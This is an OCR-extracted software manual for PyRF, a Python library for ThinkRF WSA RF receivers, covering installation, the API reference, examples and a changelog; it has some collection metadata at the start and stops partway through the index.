[5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 72014, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 72014, null]], "pdf_page_numbers": [[0, 1040, 1], [1040, 2758, 2], [2758, 2758, 3], [2758, 5414, 4], [5414, 5825, 5], [5825, 8555, 6], [8555, 11076, 7], [11076, 11202, 8], [11202, 13958, 9], [13958, 15644, 10], [15644, 17898, 11], [17898, 20043, 12], [20043, 23039, 13], [23039, 26252, 14], [26252, 26332, 15], [26332, 29042, 16], [29042, 30116, 17], [30116, 30158, 18], [30158, 32649, 19], [32649, 34799, 20], [34799, 36854, 21], [36854, 40059, 22], [40059, 42557, 23], [42557, 45928, 24], [45928, 48983, 25], [48983, 52412, 26], [52412, 53953, 27], [53953, 54216, 28], [54216, 55553, 29], [55553, 55722, 30], [55722, 57902, 31], [57902, 61424, 32], [61424, 64032, 33], [64032, 66750, 34], [66750, 69429, 35], [69429, 70632, 36], [70632, 70632, 37], [70632, 72014, 38]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 72014, 0.0411]]}
olmocr_science_pdfs
2024-11-30
2024-11-30
e0b890b3766d498acbab69680b8aca974370fcbb
API for RF receivers including ThinkRF WSA platform Release ThinkRF Corporation December 16, 2014 # Contents ## 1 Manual 1.1 Installation .................................................. 3 1.2 API for WSA RF Receiver ...................................... 4 1.3 PyRF RTSA ...................................................... 5 ## 2 Reference 2.1 pyrf.devices .................................................. 7 2.2 pyrf.sweep_device ............................................ 11 2.3 pyrf.capture_device .......................................... 13 2.4 pyrf.connectors ............................................... 13 2.5 pyrf.config .................................................... 15 2.6 pyrf.numpy_util ................................................ 16 2.7 pyrf.util ....................................................... 16 2.8 pyrf.vrt ......................................................... 17 ## 3 Examples 3.1 discovery.py / twisted_discovery.py .......................... 19 3.2 show_i_q.py / twisted_show_i_q.py ........................... 19 3.3 matplotlib_plot_sweep.py ....................................... 20 3.4 pyqtgraph_plot_block.py ....................................... 20 ## 4 Changelog 4.1 PyRF 2.7.2 ...................................................... 21 4.2 PyRF 2.7.1 ...................................................... 21 4.3 PyRF 2.7.0 ...................................................... 21 4.4 PyRF 2.6.2 ...................................................... 22 4.5 PyRF 2.6.1 ...................................................... 22 4.6 PyRF 2.6.0 ...................................................... 22 4.7 PyRF 2.5.0 ...................................................... 22 4.8 PyRF 2.4.1 ...................................................... 23 4.9 PyRF 2.4.0 ...................................................... 23 4.10 PyRF 2.3.0 ..................................................... 23 4.11 PyRF 2.2.0 ..................................................... 23 4.12 PyRF 2.1.0 ..................................................... 24 4.13 PyRF 2.0.3 ..................................................... 24 4.14 PyRF 2.0.2 ..................................................... 24 4.15 PyRF 2.0.1 ..................................................... 24 4.16 PyRF 2.0.0 ..................................................... 25 Contents: 1.1 Installation 1.1.1 Windows Dependencies 2. Extract the contents of the zipped file 3. Install Python 2.7.6 (python-2.7.6.msi) 4. Add the following to the windows PATH ‘;C:Python27;C:Python27Scripts’ 5. Install Numpy (numpy-1.8.1-win32-superpack-python2.7) 6. Install Scipy (scipy-0.14.0-win32-superpack-python2.7) 7. Install Pyside (PySide-1.2.0.win32-py2.7) 8. Install Pyqtgraph (pyqtgraph-0.9.8.win32) 9. Install zope.interface (zope.interface-4.1.1.win32-py2.7) 10. Install twisted (Twisted-14.0.0.win32-py2.7) 11. Install pywin32 (pywin32-219.win32-py2.7) 12. Install netifaces (netifaces-0.10.4.win32-py2.7) 13. Using a command line, go to the qtreactor-qtreactor-pyrf-1.0 folder, and type ‘setup.py install’ 14. Using a command line, go to the setuptools-5.7 folder and type ‘setup.py install’ Continue from PyRF Installation below. 1.1.2 Debian/Ubuntu Dependencies Use packaged requirements: apt-get install python-pyside python-twisted python-numpy \python-zope.interface python-pip python-scipy python-setuptools \python-pyqtgraph python-netifaces pip install -e git://github.com/pyrf/qtreactor.git#egg=qtreactor Or install GUI requirements from source: apt-get install qt-sdk python-dev cmake \libblas-dev libatlas-dev liblapack-dev gfortran export BLAS=/usr/lib/libblas/libblas.so export ATLAS=/usr/lib/atlas-base/libatlas.so export LAPACK=/usr/lib/lapack/liblapack.so pip install -r requirements.txt Continue from *PyRF Installation* below. ### 1.1.3 PyRF Installation Download the development version: git clone git://github.com/pyrf/pyrf.git cd pyrf python setup.py install Or download a stable release, then from the source directory: python setup.py install ### 1.2 API for WSA RF Receiver `pyrf.devices.thinkrf.WSA` is the class that provides access to WSA4000 and WSA5000 devices. Its methods closely match the SCPI Command Set described in the Programmers Reference available in ThinkRF Resources. There are simple examples that use this API under the “examples” directory included with the source code. This API may be used in a blocking mode (the default) or in an asynchronous mode with using the ‘Twisted‘ python library. In blocking mode all methods that read from the device will wait to receive a response before returning. In asynchronous mode all methods will send their commands to the device and then immediately return a Twisted Deferred object. If you need to wait for the response or completion of this command you can attach a callback to the Deferred object and the Twisted reactor will call it when ready. You may choose to use Twisted’s inlineCallbacks function decorator to write Twisted code that resembles synchronous code by yielding the Deferred objects returned from the API. To use the asynchronous when a WSA instance is created you must pass a `pyrf.connectors.twisted_async.TwistedConnector` instance as the connector parameter, as in `show_i_q.py / twisted_show_i_q.py` 1.3 PyRF RTSA rtsa-gui is a cross-platform GUI application built with the Qt toolkit and PySideProject bindings for Python. The GUI may be launched with the command: ``` rtsa-gui <hostname> [--reset] ``` If `hostname` is not specified a dialog will appear asking you to enter one. If `--reset` is used the WSA will be reset to defaults before the GUI appears. 2.1 pyrf.devices 2.1.1 .thinkrf ```python class pyrf.devices.thinkrf.WSA(connector=None): Interface for WSA4000 and WSA5000 Parameters connector – Connector object to use for SCPI/VRT connections, defaults to a new PlainSocketConnector instance connect() must be called before other methods are used. Note: The following methods will either block then return a result or if you passed a TwistedConnector instance to the constructor they will immediately return a Twisted Deferred object. abort() This command will cause the WSA to stop the data capturing, whether in the manual trace block capture, triggering or sweeping mode. The WSA will be put into the manual mode; in other words, process such as streaming, trigger and sweep will be stopped. The capturing process does not wait until the end of a packet to stop, it will stop immediately upon receiving the command. antenna(number=None) This command selects and queries the active antenna port. Parameters number – 1 or 2 to set; None to query Returns active antenna port apply_device_settings(settings) This command takes a dict of device settings, and applies them to the WSA Note this method only ap- plies a setting if it has been changed using this method :param settings: dict containing settings such as attenuation,decimation,etc attenuator(enable=None) This command enables, disables or queries the WSA’s RFE 20 dB attenuation. Parameters enable – True or False to set; None to query Returns the current attenuator state capture(spp, ppb) This command will start the single block capture and the return of ppb packets of spp samples each. ``` data within a single block capture trace is continuous from one packet to the other, but not necessary between successive block capture commands issued. **Parameters** - **spp** – the number of samples in a packet - **ppb** – the number of packets in a capture **connect (host)** connect to a wsa **Parameters host** – the hostname or IP to connect to **decimation (value=None)** This command sets or queries the rate of decimation of samples in a trace capture. This decimation method consists of cascaded integrator-comb (CIC) filters and at every value number of samples, one sample is captured. The supported rate is 4 - 1023. When the rate is set to 1, no decimation is performed on the trace capture. **Parameters value (int)** – new decimation value (1 or 4 - 1023); None to query **Returns** the decimation value **disconnect ()** close a connection to a wsa **eof ()** Check if the VRT stream has closed. **Returns** True if no more data, False if more data **errors ()** Flush and return the list of errors from past commands sent to the WSA. An empty list is returned when no errors are present. **flush ()** This command clears the WSA’s internal data storage buffer of any data that is waiting to be sent. Thus, it is recommended that the flush command should be used when switching between different capture modes to clear up the remnants of packet. **flush_captures ()** Flush capture memory of sweep captures. **freq (freq=None)** This command sets or queries the tuned center frequency of the WSA. **Parameters freq (int)** – the new center frequency in Hz (0 - 10 GHz); None to query **Returns** the frequency in Hz **fshift (shift=None)** This command sets or queries the frequency shift value. **Parameters freq (int)** – the new frequency shift in Hz (0 - 125 MHz); None to query **Returns** the amount of frequency shift **gain (gain=None)** This command sets or queries RFE quantized gain configuration. The RF front end (RFE) of the WSA consists of multiple quantized gain stages. The gain corresponding to each user-selectable setting has been pre-calculated for either optimal sensitivity or linearity. The parameter defines the total quantized gain of the RFE. **Parameters gain** – ‘high’, ‘medium’, ‘low’ or ‘vlow’ to set; None to query Returns the RF gain value has_data() Check if there is VRT data to read. Returns True if there is a packet to read, False if not have_read_perm() Check if we have permission to read data. Returns True if allowed to read, False if not id() Returns the WSA’s identification information string. Returns “<Manufacturer>,<Model>,<Serial number>,<Firmware version>” ifgain(gain=None) This command sets or queries variable IF gain stages of the RFE. The gain has a range of -10 to 34 dB. This stage of the gain is additive with the primary gain stages of the LNA that are described in gain(). Parameters gain – float between -10 and 34 to set; None to query Returns the ifgain in dB locked(modulestr) This command queries the lock status of the RF VCO (Voltage Control Oscillator) in the Radio Front End (RFE) or the lock status of the PLL reference clock in the digital card. Parameters modulestr – ‘vco’ for rf lock status, ‘clkref’ for mobo lock status Returns True if locked ppb(packets=None) This command sets the number of IQ packets in a capture block Parameters packets – the number of samples in a packet Returns the current ppb value if the packets parameter is None preselect_filter(enable=None) This command sets or queries the RFE preselect filter selection. Parameters enable – True or False to set; None to query Returns the RFE preselect filter selection state raw_read(num) Raw read of VRT socket data from the WSA. Parameters num – the number of bytes to read Returns bytes read() Read a single VRT packet from the WSA. request_read_perm() Acquire exclusive permission to read data from the WSA. Returns True if allowed to read, False if not reset() Resets the WSA to its default settings. It does not affect the registers or queues associated with the IEEE mandated commands. **scpi\text{get} (cmd)** Send a SCPI command and wait for the response. This is the lowest-level interface provided. Please see the Programmer’s Guide for information about the commands available. - **Parameters** `cmd (str)` – the command to send - **Returns** the response back from the box if any **scpi\text{set} (cmd)** Send a SCPI command. This is the lowest-level interface provided. Please see the Programmer’s Guide for information about the commands available. - **Parameters** `cmd (str)` – the command to send **spp** *(samples=None)* This command sets or queries the number of Samples Per Packet (SPPacket). The upper bound of the samples is limited by the VRT’s 16-bit packet size field less the VRT header and any optional fields (i.e. Stream ID, Class ID, Timestamps, and trailer) of 32-bit wide words. However since the SPP must be a multiple of 16, the maximum is thus limited by $2^{16} - 16$. - **Parameters** `samples` – the number of samples in a packet or None - **Returns** the current spp value if the samples parameter is None **stream\_start** *(stream\_id=None)* This command begins the execution of the stream capture. It will also initiate data capturing. Data packets will be streamed (or pushed) from the WSA whenever data is available. - **Parameters** `stream\_id` – optional unsigned 32-bit stream identifier **stream\_status ()** This query returns the current running status of the stream capture mode. - **Returns** ‘RUNNING’ or ‘STOPPED’ **stream\_stop ()** This command stops the stream capture. After receiving the command, the WSA system will stop when the current capturing VRT packet is completed. **sweep\_add (entry)** Add an entry to the sweep list - **Parameters** `entry (pyrf.config.SweepEntry)` – the sweep entry to add **sweep\_clear ()** Remove all entries from the sweep list. **sweep\_read (index)** Read an entry from the sweep list. - **Parameters** `index` – the index of the entry to read - **Returns** sweep entry - **Return type** `pyrf.config.SweepEntry` **sweep\_start (start\_id=None)** Start the sweep engine. **sweep\_stop ()** Stop the sweep engine. trigger (settings=None) This command sets or queries the type of trigger event. Setting the trigger type to "NONE" is equivalent to disabling the trigger execution; setting to any other type will enable the trigger engine. Parameters settings (dictionary) – the new trigger settings; None to query Returns the trigger settings pyrfdevices.thinkrf.parse_discovery_response (response) This function parses the WSA's raw discovery response Parameters response – The WSA's raw response to a discovery query Returns Return (model, serial, firmware version) based on a discovery response message 2.2 pyrf.sweep_device class pyrf.sweep_device.SweepDevice (real_device, async_callback=None) Virtual device that generates power levels from a range of frequencies by sweeping the frequencies with a real device and piecing together FFT results. Parameters • real_device – device that will will be used for capturing data, typically a pyrfdevices.thinkrf.WSA instance. • callback – callback to use for async operation (not used if real_device is using a PlainSocketConnector) capture_power_spectrum (fstart, fstop, rbw, device_settings=None, mode='ZIF', continuous=False, min_points=32) Initiate a capture of power spectral density by setting up a sweep list and starting a single sweep. Parameters • fstart (float) – starting frequency in Hz • fstop (float) – ending frequency in Hz • rbw (float) – requested RBW in Hz (output RBW may be smaller than requested) • device_settings – antenna, gain and other device settings • mode (string) – sweep mode, ‘ZIF left band’, ‘ZIF’ or ‘SH’ • continuous (bool) – async continue after first sweep • min_points (int) – smallest number of points per capture from real_device exception pyrf.sweep_device.SweepDeviceError class pyrf.sweep_device.SweepStep Data structure used by SweepDevice for planning sweeps Parameters • fcenter – starting center frequency in Hz • fstep – frequency increment each step in Hz • fshift – frequency shift in Hz • decimation – decimation value • **points** – samples to capture • **bins_skip** – number of FFT bins to skip from left • **bins_run** – number of usable FFT bins each step • **bins_pass** – number of bins from first step to discard from left • **bins_keep** – total number of bins to keep from all steps **steps** ```python to_sweep_entry(device, rfe_mode, **kwargs) ``` Create a SweepEntry for device matching this SweepStep, extra parameters (gain, antenna etc.) may be provided as keyword parameters ```python pyrf.sweep_device.plan_sweep(device, fstart, fstop, rbw, mode, min_points=32) ``` **Parameters** • **device** – a device class or instance such as `pyrf.devices.thinkrf.WSA` • **fstart** *(float)* – starting frequency in Hz • **fstop** *(float)* – ending frequency in Hz • **rbw** *(float)* – requested RBW in Hz (output RBW may be smaller than requested) • **mode** *(string)* – sweep mode, ‘ZIF left band’, ‘ZIF’ or ‘SH’ • **min_points** *(int)* – smallest number of points per capture The following device properties are used in planning the sweep: - **device.properties.FULL_BW** full width of the filter in Hz - **device.properties.USABLE_BW** usable portion before filter drop-off at edges in Hz - **device.properties.MIN_TUNABLE** the lowest valid center frequency for arbitrary tuning in Hz, 0(DC) is always assumed to be available for direct digitization - **device.properties.MAX_TUNABLE** the highest valid center frequency for arbitrary tuning in Hz - **device.properties.DC_OFFSET_BW** the range of frequencies around center that may be affected by a DC offset and should not be used - **device.properties.TUNING_RESOLUTION** the smallest tuning increment for fcenter and fstep **Returns** *(actual fstart, actual fstop, list of SweepStep instances)* The caller would then use each of these tuples to do the following: 1. The first 5 values are used for a single capture or single sweep 2. An FFT is run on the points returned to produce bins in the linear domain 3. bins[bins_skip:bins_skip + bins_run] are selected 4. take logarithm of output bins and appended to the result 5. for sweeps repeat from 2 until the sweep is complete 6. bins_pass is the number of selected bins to skip from the first capture only 7. bins_keep is the total number of selected bins to keep; for single captures bins_run == bins_keep 2.3 pyrf.capture_device ```python class pyrf.capture_device.CaptureDevice(real_device, async_callback=None, device_settings=None): Virtual device that returns power levels generated from a single data packet Parameters - real_device: device that will be used for capturing data, typically a pyrf.thinkrf.WSA instance. - async_callback: callback to use for async operation (not used if real_device is using a PlainSocketConnector) - device_settings: initial device settings to use, passed to pyrf.capture_device.CaptureDevice.configure_device() if given capture_time_domain(rfe_mode, freq, rbw, device_settings=None, min_points=128, force_change=False) Initiate a capture of raw time domain IQ or I-only data Parameters - rfe_mode: radio front end mode, e.g. ‘ZIF’, ‘SH’, ... - freq: center frequency - rbw (float): requested RBW in Hz (output RBW may be smaller than requested) - device_settings: attenuator, decimation frequency shift and other device settings - min_points (int): smallest number of points per capture from real_device configure_device(device_settings, force_change=False) Configure the device settings on the next capture Parameters - device_settings: attenuator, decimation frequency shift and other device settings read_data(packet) exception pyrf.capture_device.CaptureDeviceError ``` 2.4 pyrf.connectors 2.4.1 .blocking ```python class pyrf.connectors.blocking.PlainSocketConnector This connector makes SCPI/VRT socket connections using plain sockets. connect(host) disconnect() eof() has_data() raw_read(num) scpiget(cmd) scpiset(cmd) ``` API for RF receivers including ThinkRF WSA platform, Release ```python def sync_async(gen): Handler for the `@sync_async` decorator. We convert the generator to a single return value for simple synchronous use. ``` ```python pyrf.connectors.blocking.socketread(socket, count, flags=None) Retry socket read until count data received, like reading from a file. ``` ### 2.4.2 twisted_async ```python class pyrf.connectors.twisted_async.SCPIClient collectionMade() dataReceived(data) scpget(cmd) scpsiset(cmd) ``` ```python class pyrf.connectors.twisted_async.SCPIClientFactory buildProtocol(addr) clientConnectionFailed(connector, reason) clientConnectionLost(connector, reason) startedConnecting(connector) ``` ```python class pyrf.connectors.twisted_async.TwistedConnector(reactor, vrt_callback=None) A connector that makes SCPI/VRT connections asynchronously using Twisted. A callback may be assigned to vrt_callback that will be called with VRT packets as they arrive. When .vrt_callback is None (the default) arriving packets will be ignored. connect(host, output_file=None) disconnect() eof() inject_recording_state(state) raw_read(num_bytes) scpget(cmd) scpsiset(cmd) set_recording_output(output_file=None) sync_async(gen) ``` ```python exception pyrf.connectors.twisted_async.TwistedConnectorError ``` ```python class pyrf.connectors.twisted_async.VRTClient(receive_callback) A Twisted protocol for the VRT connection Parameters receive_callback — a function that will be passed a vrt DataPacket or ContextPacket when it is received connectionLost(reason) dataReceived(data) ``` API for RF receivers including ThinkRF WSA platform, Release eof = False inject_recording_state(state) makeConnection(transport) set_recording_output(output_file=None) class pyrf.connectors.twisted_async.VRTClientFactory(receive_callback) buildProtocol(addr) clientConnectionFailed(connector, reason) clientConnectionLost(connector, reason) startedConnecting(connector) 2.5 pyrf.config class pyrf.config.SweepEntry(fstart=2400000000, fstop=2400000000, fstep=100000000, fshift=0, decimation=0, antenna=1, gain='vlow', ifgain=0, hdr_gain=-10, spp=1024, ppb=1, trigtype='none', dwell_s=0, dwell_us=0, level_fstart=50000000, level_fstop=10000000000, level_amplitude=-100, attenuator=True, rfe_mode='ZIF') Sweep entry for pyrf.devices.thinkrf.WSA.sweep_add() Parameters - fstart – starting frequency in Hz - fstop – ending frequency in Hz - fstep – frequency step in Hz - fshift – the frequency shift in Hz - decimation – the decimation value (0 or 4 - 1023) - antenna – the antenna (1 or 2) - gain – the RF gain value (‘high’, ‘medium’, ‘low’ or ‘vlow’) - ifgain – the IF gain in dB (-10 - 34) - hdr_gain – the HDR gain in dB (-10 - 30) - spp – samples per packet - ppb – packets per block - dwell_s – dwell time seconds - dwell_us – dwell time microseconds - trigtype – trigger type (‘none’, ‘pulse’ or ‘level’) - level_fstart – level trigger starting frequency in Hz - level_fstop – level trigger ending frequency in Hz - level_amplitude – level trigger minimum in dBm - attenuator – enable/disable attenuator API for RF receivers including ThinkRF WSA platform, Release - **rfe_mode** – RFE mode to be used ```python class pyrf.config.TriggerSettings (trigtype='NONE', fstart=None, fstop=None, ampli- tude=None): Trigger settings for pyrf.devices.thinkrf.WSA.trigger(). ``` **Parameters** - **trigtype** – “LEVEL” or “NONE” to disable - **fstart** – starting frequency in Hz - **fstop** – ending frequency in Hz - **amplitude** – minimum level for trigger in dBm **exception pyrf.config.TriggerSettingsError** ### 2.6 pyrf.numpy_util ```python def pyrf.numpy_util.calculate_channel_power (power_spectrum): Return a dBm value representing the channel power of the input power spectrum. :param power_spectrum: array containing power spectrum to be used for the channel power calculation ``` ```python def pyrf.numpy_util.compute_fft (dut, data_pkt, context, correct_phase=True, hide_differential_dc_offset=True, convert_to_dbm=True, apply_window=True, apply_spec_inv=True, apply_reference=True, ref=None): Return an array of dBm values by computing the FFT of the passed data and reference level. ``` **Parameters** - **dut** *(pyrf.devices.thinkrf.WSA)* – WSA device - **data_pkt** *(pyrf.vrt.DataPacket)* – packet containing samples - **context** – dict containing context values - **correct_phase** – apply phase correction for captures with IQ data - **hide_differential_dc_offset** – mask the differential DC offset present in captures with IQ data - **convert_to_dbm** – convert the output values to dBm **Returns** numpy array of dBm values as floats ### 2.7 pyrf.util ```python def pyrf.util.read_data_and_context (dut, points=1024): Initiate capture of one data packet, wait for and return data packet and collect preceeding context packets. ``` **Returns** *(data_pkt, context_values)* Where context_values is a dict of {field_name: value} items from all the context packets received. ```python def pyrf.util.collect_data_and_context (dut): Wait for and return data packet and collect preceeding context packets. ``` 2.8 pyrf.vrt class pyrf.vrt.ContextPacket (packet_type, count, size, tmpstr, has_timestamp) A Context Packet received from `pyrf.devices.thinkrf.WSA.read()` fields a dict containing field names and values from the packet is_context_packet (ptype=None) Parameters ptype – “Receiver”, “Digitizer” or None for any packet type Returns True if this packet matches the type passed is_data_packet () Returns False class pyrf.vrt.DataArray (binary_data, bytes_per_sample) Data Packet values as a lazy array read from `binary_data`. Parameters bytes_per_sample – 1 for PSD8 data, 2 for I14 data or 4 for I24 data numpy_array () return a numpy array for this data class pyrf.vrt.DataPacket (count, size, stream_id, tsi, tsf, payload, trailer) A Data Packet received from `pyrf.devices.thinkrf.WSA.read()` data a pyrf.vrt.IQData object containing the packet data is_context_packet (ptype=None) Returns False is_data_packet () Returns True class pyrf.vrt.IQData (binary_data) Data Packet values as a lazy collection of (I, Q) tuples read from `binary_data`. This object behaves as an immutable python sequence, e.g. you may do any of the following: points = len(iq_data) i_and_q = iq_data[5] for i, q in iq_data: print i, q numpy_array () Return a numpy array of I, Q values for this data similar to: exception pyrf.vrt.InvalidDataReceived pyrf.vrt.generate_specapacket (data, count=0) Parameters • data – a python dict that can be serialized as JSON • count – int count for the header of this packet Returns (vrt packet bytes, next count int) `pyrf.vrt.vrt_packet_reader (raw_read)` Read a VRT packet, parse it and return an object with its data. Implemented as a generator that yields the result of the passed `raw_read` function and accepts the value sent as its data. Examples These examples may be found in the “examples” directory included with the PyRF source code. 3.1 discovery.py / twisted_discovery.py - discovery.py - twisted_discovery.py These examples detect WSA devices on the same network Example output: WSA4000 00:50:c2:ea:29:14 None at 10.126.110.111 WSA4000 00:50:c2:ea:29:26 None at 10.126.110.113 3.2 show_i_q.py / twisted_show_i_q.py These examples connect to a device specified on the command line, tunes it to a center frequency of 2.450 MHz then reads and displays one capture of 1024 i, q values. - show_i_q.py - twisted_show_i_q.py Example output (truncated): 0,-20 -8,-16 0,-24 -8,-12 0,-32 24,-24 32,-16 -12,-24 -20,0 12,-32 32,-4 0,12 -20,-16 -48,16 -12,12 3.3 matplotlib_plot_sweep.py This example connects to a device specified on the command line, and plots a complete sweep of the spectrum using NumPy and matplotlib. - matplotlib_plot_sweep.py 3.4 pyqtgraph_plot_block.py This example connects to a device specified on the command line, tunes it to a center frequency of 2.450 MHz then continually captures and displays an FFT in a GUI window. - pyqtgraph_plot_block.py 4.1 PyRF 2.7.2 2014-12-16 • Added capture control widget • Changed default save file names to represent date and time of capture • Fixed baseband mode frequency axis issue • Netifaces library is no longer a hard requirement • Improved overall marker controls • Added ‘Enable mouse tune’ option to frequency widget • Default HDR gain is now 25 4.2 PyRF 2.7.1 2014-11-13 • Discovery widget now queries for new WSA’s on the network every 10 seconds • Fixed issue where switching from sweep to non-sweep wrongly changed center frequency • Fixed issue where Minimum control not behaving as designed • Fixed issue where trigger controls were not disabled for non-trigger modes • Fixed frequency axis texts • Y-axis in the persistence plot now corresponds with spectral plot’s y-axis 4.3 PyRF 2.7.0 2014-11-04 • All control widgets are now dockable • Enabled mouse control of spectral plot’s y-axis • Added lower RBW values in non-sweep modes 4.4 PyRF 2.6.2 2014-10-10 • HDR gain control in GUI now allows values up to +20 dB • Sweep ZIF (100 MHz steps) now only shown in GUI when developer menu is enabled • GUI PLL Reference control now works in Sweep mode • Darkened trace color in GUI for attenuated edges and dc offset now matches trace color • Alternate sweep step color in GUI now matches trace color • DC offset region now limited to middle three bins in GUI (was expanding when decimation was applied) • Correction to usable region in ZIF and SH modes with decimation applied • Fixed HDR center offset value • Added device information dialog to GUI 4.5 PyRF 2.6.1 2014-09-30 • Upload corrected version with changelog 4.6 PyRF 2.6.0 2014-09-30 • Added channel power measurement feature to GUI • Added Export to CSV feature to GUI for saving streams of processed power spectrum data • Added a power level cursor (adjustable horizontal line) to GUI • Added reference level offset adjustment box to GUI • Trigger region in GUI is now a rectangle to make it visibly different than channel power measurement controls • Update mode drop-down in GUI to include information about each mode instead of showing internal mode names • Use netifaces for address detection to fix discover issue on non-English windows machines 4.7 PyRF 2.5.0 2014-09-09 • Added Persistence plot • Made markers draggable in the plot • Added version number to title bar • Moved DSP options to developer menu, developer menu now hidden unless GUI run with -d option • Rounded center to nearest tuning resolution step in GUI • Fixed a number of GUI control and label issues • Moved changelog into docs and updated 4.8 PyRF 2.4.1 2014-08-19 • Added missing requirement • Fixed use with CONNECTOR IQ path 4.9 PyRF 2.4.0 2014-08-19 • Improved trigger controls • Fixed modes available with some WSA versions 4.10 PyRF 2.3.0 2014-08-12 • Added full playback support (including sweep) in GUI • Added hdr_gain control to WSA class • Added average mode and clear button for traces • Added handling for different REFLEVEL_ERROR on early firmware versions • Disable triggers for unsupported WSA firmware versions • Added free plot adjustment developer option • Fixed a number of GUI interface issues 4.11 PyRF 2.2.0 2014-07-15 • Added waterfall display for GUI and example program • Added automatic re-tuning when plot dragged of zoomed • Added recording speca state in recorded VRT files, Start/Stop recording menu • Added GUI non-sweep playback support and command line `-p` option • Added marker controls: peak left, right, center to marker • Redesigned frequency controls, device controls and trace controls • Default to Sweep SH mode in GUI • Added developer options menu for attenuated edges etc. • Refactored shared GUI code and panels • SweepDevice now returns numpy arrays of dBm values • Fixed device discovery with multiple interfaces • Replaced reflevel adjustment properties with REFLEVEL_ERROR value • Renamed GUI launcher to rtsa-gui 4.12 PyRF 2.1.0 2014-06-20 • Refactored GUI code to separate out device control and state • Added SPECA defaults to device properties • Restored trigger controls in GUI • Added DSP panel to control fft calculations in GUI • Fixed a number of GUI plot issues 4.13 PyRF 2.0.3 2014-06-03 • Added simple QT GUI example with frequency, attenuation and rbw controls • Added support for more hardware versions • Fixed plotting issues in a number of modes in GUI 4.14 PyRF 2.0.2 2014-04-29 • Removed Sweep ZIF mode from GUI • Fixed RFE input mode GUI issues 4.15 PyRF 2.0.1 2014-04-21 • Added Sweep SH mode support to SweepDevice • Added IQ in, DD, SHN RFE modes to GUI • Added IQ output path and PLL reference controls to GUI • Added discovery widget to GUI for finding devices • Fixed a number of issues 4.16 PyRF 2.0.0 2014-01-31 • Added multiple traces and trace controls to GUI • Added constellation and IQ plots • Added raw VRT capture-to-file support • Updated SweepDevice sweep plan calculation • Created separate GUI for single capture modes • Updated device properties for WSA5000 RFE modes • Show attenuated edges in gray, sweep steps in different colors in GUI • Added decimation and frequency shift controls to single capture GUI • Fixed many issues with WSA5000 different RFE mode support • Removed trigger controls, waiting for hardware support • Switched to using pyinstaller for better windows build support 4.17 PyRF 1.2.0 2013-10-01 • Added WSA5000 support • Added WSA discovery example scripts • Renamed WSA4000 class to WSA (supports WSA5000 as well) • Separated device properties from WSA class 4.18 PyRF 1.1.0 2013-07-19 • Fixed some py2exe issues • Show the GUI even when not connected 4.19 PyRF 1.0.0 2013-07-18 • Switched to pyqtgraph for spectrum plot • Added trigger controls 4.20 PyRF 0.4.0 2013-05-18 - `pyrf.connectors.twisted_async.TwistedConnector` now has a `vrt_callback` attribute for setting a function to call when VRT packets are received. This new callback takes a single parameter: a `pyrf.vrt.DataPacket` or `pyrf.vrt.ContextPacket` instance. - New methods added to `pyrf.devices.thinkrf.WSA4000`: `abort()`, `spp()`, `ppb()`, `stream_start()`, `stream_stop()`, `stream_status()`. - Added support for stream ID context packets and provide a value for sweep ID context packet not converted to a hex string. - `wsa4000gui` updated to use `vrt` callback. - “`wsa4000gui -v`” enables verbose mode which currently shows SCPI commands sent and responses received on stdout. - Added examples/stream.py example for testing stream data rate. - Updated examples/twisted_show_i_q.py for new `vrt_callback`. - Removed `pyrf.twisted_util` module which implemented old synchronous `read()` interface. - Removed now unused `pyrf.connectors.twisted_async.VRTTooMuchData` exception. - Removed `wsa4000gui`-blocking script. - Fix for power spectrum calculation in `pyrf.numpy_util`. 4.21 PyRF 0.3.0 2013-02-01 - API now allows asynchronous use with TwistedConnector. - GUI now uses asynchronous mode, but synchronous version may still be built as `wsa4000gui`-blocking. - GUI moved from examples to inside the package at `pyrf.gui` and built from the same `setup.py`. - Added Twisted version of `show_i_q.py` example. - Documentation: installation instructions, requirements, `py2exe` instructions, user manual and many other changes. - Fix support for reading WSA4000 very low frequency range. • pyrf.util.read_data_and_reflevel() was renamed to read_data_and_context() • pyrf.util.socketread() was moved to pyrf.connectors.blocking.socketread() • added requirements.txt for building dependencies from source 4.22 PyRF 0.2.5 2013-01-26 • fix for compute_fft calculations 4.23 PyRF 0.2.4 2013-01-19 • fix for missing devices file in setup.py 4.24 PyRF 0.2.3 2013-01-19 • add planned features to docs 4.25 PyRF 0.2.2 2013-01-17 • rename package from python-thinkrf to PyRF 4.26 python-thinkrf 0.2.1 2012-12-21 • update for WSA4000 firmware 2.5.3 decimation change 4.27 python-thinkrf 0.2.0 2012-12-09 • GUI: add BPF toggle, Antenna switching, –reset option, “Open Device” dialog, IF Gain control, Span control, RBW control, update freq on finished editing • create basic documentation and reference and improve docstrings • bug fixes for GUI, py2exe setup.py • GUI perfomance improvements 4.28 python-thinkrf 0.1.0 2012-12-01 • initial release PyRF is an openly available, comprehensive development environment for wireless signal analysis. It enables rapid development of powerful applications that leverage the new generation of measurement-grade software-defined radio technology. PyRF is built on the Python Programming Language and includes feature-rich libraries, example applications and source code, all specific to the requirements of signal analysis. PyRF is openly available, allowing commercialization of solutions through BSD open licensing and offering device independence via standard hardware APIs. PyRF handles the low-level details of real-time acquisition, signal processing and visualization, allowing you to concentrate on your analysis solutions. This library currently supports development for the ThinkRF WSA4000 and WSA5000 platforms. Links - Official github page - Documentation for this API - WSA4000/WSA5000 Documentation Indices and tables - genindex - search p pyrf.capture_device, 13 pyrf.config, 15 pyrf.connectors.blocking, 13 pyrf.connectors.twisted_async, 14 pyrf.devices.thinkrf, 7 pyrf.numpy_util, 16 pyrf.sweep_device, 11 pyrf.util, 16 pyrf.vrt, 17 Index A abort() (pyrf.devices.thinkrf.WSA method), 7 antenna() (pyrf.devices.thinkrf.WSA method), 7 apply_device_settings() (pyrf.devices.thinkrf.WSA method), 7 attenuator() (pyrf.devices.thinkrf.WSA method), 7 B buildProtocol() (pyrf.connectors.twisted_async.SCPIClientFactory method), 14 buildProtocol() (pyrf.connectors.twisted_async.VRTClientFactory method), 15 C calculate_channel_power() (in module 